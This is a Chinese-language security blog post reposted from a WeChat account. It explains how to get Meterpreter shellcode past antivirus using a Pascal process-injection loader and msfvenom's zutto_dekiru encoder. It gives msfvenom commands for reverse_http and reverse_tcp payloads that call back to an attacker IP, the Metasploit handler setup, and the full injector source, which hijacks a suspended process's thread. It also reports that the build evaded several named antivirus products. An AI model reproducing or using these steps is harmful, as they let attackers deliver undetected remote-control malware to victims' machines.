利用Pascal+zutto_dekiru进行免杀

渗透技巧 2年前 (2022) admin
552 0 0
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

 

0x01 前言

最近在知识星球看到@冷逸师傅分享的一个Pascal语言shellcode注入项目,因为Pascal为冷门语言,所以大概率不会被查杀,所以可以用这个项目来对我们的马儿进行免杀处理。

项目地址:https://github.com/0xsp-SRD/OffensivePascal

0x02 项目测试

在测试这个项目前我们得先装好Lazarus环境,然后将OffensivePascal项目下载到本地,使用作者给出的msfvenom命令生成Pascalg格式的shellcode,并将其全部放置在一行。

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.120 LPORT=443 -f c | sed -r 's/[x]+/$/g' | sed -r 's/[]+/,/g' | sed -r 's/["]+//g' | sed -e 's/$/,/' | cut -c 2-
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_httpmsf5 exploit(multi/handler) > set lhost 192.168.1.120msf5 exploit(multi/handler) > set lport 443msf5 exploit(multi/handler) > exploit
利用Pascal+zutto_dekiru进行免杀
利用Pascal+zutto_dekiru进行免杀

 

接着在Lazarus环境中打开OffensivePascal项目Simple Shellcode injection件夹中injector.lpr,将处理好的Pascalg格式的shellcode替换到shellcode:array中,然后进行编译即可。

利用Pascal+zutto_dekiru进行免杀

 

这里需要注意下msfvenom生成的payload大小,因为要删除掉shellcode后的;,,所以在injector.lpr源代码中填写payload大小时可能要-1,如果填写的不对在编译时就可能会出现报错,如下图。

利用Pascal+zutto_dekiru进行免杀

 

这里我们用360、火绒、PC和Server端的windows defender来扫描下刚编译的injector.exe,看下是否已经能够免杀?在下图中可以看到360是免杀了,但是火绒和windows defender还是查杀到了。

利用Pascal+zutto_dekiru进行免杀
利用Pascal+zutto_dekiru进行免杀

0x03 免杀处理

直接用作者的msfvenom命令生成的shellcode编译的exe已经被火绒和windows defender查杀,但如果不加那段shellcode就不会被杀,所以我们还需要做进一步的免杀处理。

利用Pascal+zutto_dekiru进行免杀

经过测试后发现其实很简单,只要在msfvenom生成shellcode时使用-e参数加上zutto_dekiru编码即可实现免杀,次数也可以用-i参数控制,可同时免杀360、火绒、金山毒霸、PC和Server端的windows defender。

利用Pascal+zutto_dekiru进行免杀
利用Pascal+zutto_dekiru进行免杀
利用Pascal+zutto_dekiru进行免杀

接着我们再按以上的测试流程重新走一遍就行了,生成shellcode->处理shellcode->替换shellcode->编译exe->执行上线,都是一些重复的操作,就不详细写了,这时可以看到执行后已经成功上线了。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 -e x64/zutto_dekiru -i 5 -f c | sed -r 's/[x]+/$/g' | sed -r 's/[]+/,/g' | sed -r 's/["]+//g' | sed -e 's/$/,/' | cut -c 2-
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set lhost 192.168.1.120msf5 exploit(multi/handler) > set lport 443msf5 exploit(multi/handler) > exploit
利用Pascal+zutto_dekiru进行免杀
injector.lpr:
{  this one is part of repo published on github under the name of Offensive Pascal  Pascal is a great and still up to date :)  these projects can be compilied using FreePascal (FPC)  or Delphi
  author : @zux0x3a  site :   0xsp.com / ired.dev  https://github.com/0xsp-SRD/OffensivePascal
 }
program injector;
{$mode delphi}
uses
  Classes,windows;
procedure inject_shell;const  //Windows x64 MessageBox Shellcode (434 bytes)  shellcode:array[0..768] of BYTE = (  Insert Shellcode Here);
var  pi: TProcessInformation;  si: TStartupInfo;  {$ifdef win32}  ctx: Context;  {$endif}
  {$ifdef win64}  ctx : Pcontext;  {$endif}  remote_shellcodePtr: Pointer;  {$ifdef win64}  Written:dword64;  {$endif}   {$ifdef win32}  Written:dword;  {$endif}  AppToLaunch: string;  i ,s_size: Cardinal;  shell_prt : string ; shell_code :  array of byte;
begin
AppToLaunch := 'notepad.exe';UniqueString(AppToLaunch);
FillMemory( @si, sizeof( si ), 0 );FillMemory( @pi, sizeof( pi ), 0 );
writeln('[+] Creating Process in Suspended Mode');
CreateProcess('c:windowssystem32cmd.exe', PChar(AppToLaunch), nil, nil, False,              CREATE_SUSPENDED,              nil, nil,  si, pi );
 {$ifdef win32} ctx.ContextFlags := CONTEXT_CONTROL; GetThreadContext(pi.hThread,ctx); {$endif}
 {$ifdef win64}  ctx := PCONTEXT(VirtualAlloc(nil, sizeof(ctx), MEM_COMMIT, PAGE_READWRITE));  ctx.ContextFlags := CONTEXT_ALL;  GetThreadContext(pi.hThread,ctx^); {$endif}
 //allocate the memory size remote_shellcodePtr:=VirtualAllocEx(pi.hProcess,Nil,s_size,MEM_COMMIT,   PAGE_EXECUTE_READWRITE);
 // write array of bytes into process memory WriteProcessMemory(pi.hProcess,remote_shellcodePtr,@shellcode,s_size,written);
{$ifdef win64} ctx.rip:=dword64(remote_shellcodePtr); //ctx.ContextFlags := CONTEXT_CONTROL; SetThreadContext(pi.hThread,ctx^); ResumeThread(pi.hThread);{$ENDIF}
{$ifdef win32} ctx.Eip:=integer(remote_shellcodePtr); ctx.ContextFlags := CONTEXT_CONTROL; SetThreadContext(pi.hThread,ctx);
 ResumeThread(pi.hThread);{$endif}
 end;
begin  inject_shell;end.

0x04 注意事项

这种免杀方式只能过杀软的静态查杀,在Meterpreter会话中执行getsystem提权、 migrate进程迁移等命令时还是会被windows defender阻止,这里我也只是简单测试了下PC的windows defender,至于360、火绒等其他安全防护产品还会拦截哪些操作和行为还请自行测试…。

利用Pascal+zutto_dekiru进行免杀

关 注 有 礼

关注公众号回复“9527”可以免费领取一套HTB靶场文档和视频,1120”安全参考等杂志电子版,1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”在线杀软对比源码+数据源。

利用Pascal+zutto_dekiru进行免杀 还在等什么?赶紧点击下方名片关注学习吧!利用Pascal+zutto_dekiru进行免杀


推 荐 阅 读

利用Pascal+zutto_dekiru进行免杀
利用Pascal+zutto_dekiru进行免杀
利用Pascal+zutto_dekiru进行免杀

欢 迎 私 下 骚 扰

利用Pascal+zutto_dekiru进行免杀

原文始发于微信公众号(潇湘信安):利用Pascal+zutto_dekiru进行免杀

版权声明:admin 发表于 2022年3月30日 上午9:00。
转载请注明:利用Pascal+zutto_dekiru进行免杀 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...